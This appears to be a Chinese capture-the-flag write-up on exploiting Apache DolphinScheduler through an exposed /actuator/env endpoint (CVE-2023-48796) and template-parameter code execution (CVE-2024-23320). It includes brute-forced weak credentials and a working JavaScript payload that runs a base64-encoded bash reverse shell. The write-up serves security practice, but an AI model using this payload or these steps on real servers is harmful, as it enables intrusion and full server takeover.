NSS [NSSRound#18 Basic]easy_rw
题目描述:弱口令就完事了
入口:/dolphinscheduler
靶机启动需要1分钟。
这题有两种做法。CVE-2023-48796、CVE-2024-23320
先说CVE-2023-48796
Apache DolphinScheduler是一个分布式、易扩展、可视化的工作流任务调度平台,旨在解决大数据场景下复杂任务的调度和监控问题。支持数据抽取、数据处理、数据传输等丰富的任务类型,用户可以通过可视化的方式创建、监控和管理这些任务。DolphinScheduler提供了多租户、任务依赖、任务流程编排、告警通知、任务监控等丰富的功能特性,具有良好的扩展性和灵活性。近日,新华三盾山实验室监测到Apache官方发布了安全公告,修复了一个存在于Apache DolphinScheduler中的信息泄露漏洞(CVE-2023-48796),攻击者可利用该漏洞获取敏感信息。
漏洞信息:
Apache DolphinScheduler存在信息泄露漏洞,由于没有限制暴露的端点,导致所有端点全部暴露,未经身份验证的恶意攻击者通过访问其他端点获取获取敏感数据(如访问/actuator/configprops端点查看所有配置属性,可获取数据库凭证信息)。
/actuator是Actuator端点的默认路径前缀。在不同的Spring Boot版本和配置中,可用的端点可能会有所不同,但下面是一些常见的/actuator下的子端点及其用途:1. /actuator/health
提供应用的健康信息。可以显示应用是否处于运行状态以及各种健康指标的详情,比如数据库连接是否正常、磁盘空间是否足够等。2. /actuator/info
显示应用的基本信息,这些信息可以通过在application.properties或application.yml文件中配置info属性来自定义。3. /actuator/metrics
提供应用的详细指标,如内存使用情况、HTTP请求计数、线程池状态等。可以查询特定的指标来获取更细致的数据。4. /actuator/env
显示应用的环境属性,包括配置属性、系统环境变量、系统属性等。5. /actuator/loggers
允许查看和修改应用中日志记录器的配置,比如动态调整日志级别。6. /actuator/heapdump
提供一个JVM堆转储文件,可以用于深入分析应用的内存使用情况。7. /actuator/threaddump
提供当前应用的线程状态快照,有助于诊断死锁或其他线程问题。8. /actuator/auditevents
显示应用的审计事件信息,比如认证事件、访问决策等,前提是应用配置了审计功能。9. /actuator/caches
显示应用中缓存的详细信息,前提是应用使用了Spring Framework的缓存抽象。10. /actuator/scheduledtasks
列出应用中所有的定时任务信息。11. /actuator/httptrace
显示HTTP跟踪信息(比如最近的HTTP请求-响应交换),这取决于HttpTraceRepository的配置。
影响版本:
3.0.0<=Apache DolphinScheduler<3.0.2
开始做题,在/actuator/env
找到了flag
其实dirsearch也能扫出来的。
然后说CVE-2024-23320
漏洞描述:
Apache DolphinScheduler是一个分布式、易扩展、可视化的工作流任务调度平台,旨在解决大数据场景下复杂任务的调度和监控问题。支持数据抽取、数据处理、数据传输等丰富的任务类型,用户可以通过可视化的方式创建、监控和管理这些任务。DolphinScheduler提供了多租户、任务依赖、任务流程编排、告警通知、任务监控等丰富的功能特性,具有良好的扩展性和灵活性。
Apache DolphinScheduler 在 3.2.1 之前版本中存在远程代码执行漏洞。由于系统对代码过滤不充分,经过身份认证的攻击者可以在服务器上进行远程代码执行,从而控制服务器。
受影响版本中,由于 SwitchTaskUtils#generateContentWithTaskParams 方法未对用户可控的任务参数有效过滤,攻击者可构造包含模版字符串(如:${cmd})或Unicode编码的恶意参数创建数据处理任务,当程序执行时会在服务器上执行任意可逃逸沙箱的 JavaScript 代码。
影响版本:
Apache DolphinScheduler < 3.2.1
开启环境开始复现:
弱口令爆破出用户名密码guest/guest123
创建项目
进入项目创建工作流,在条件出填入类似${cmd}包裹的模板
接着在运行时设置启动参数为之前的${}里面包裹的字符串,将值设置为js代码即可执行
";var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("bash -c {echo,要执行的反弹shell命令的base64}|{base64,-d}|{bash,-i}")};//
确定后接收到shell,flag在环境变量中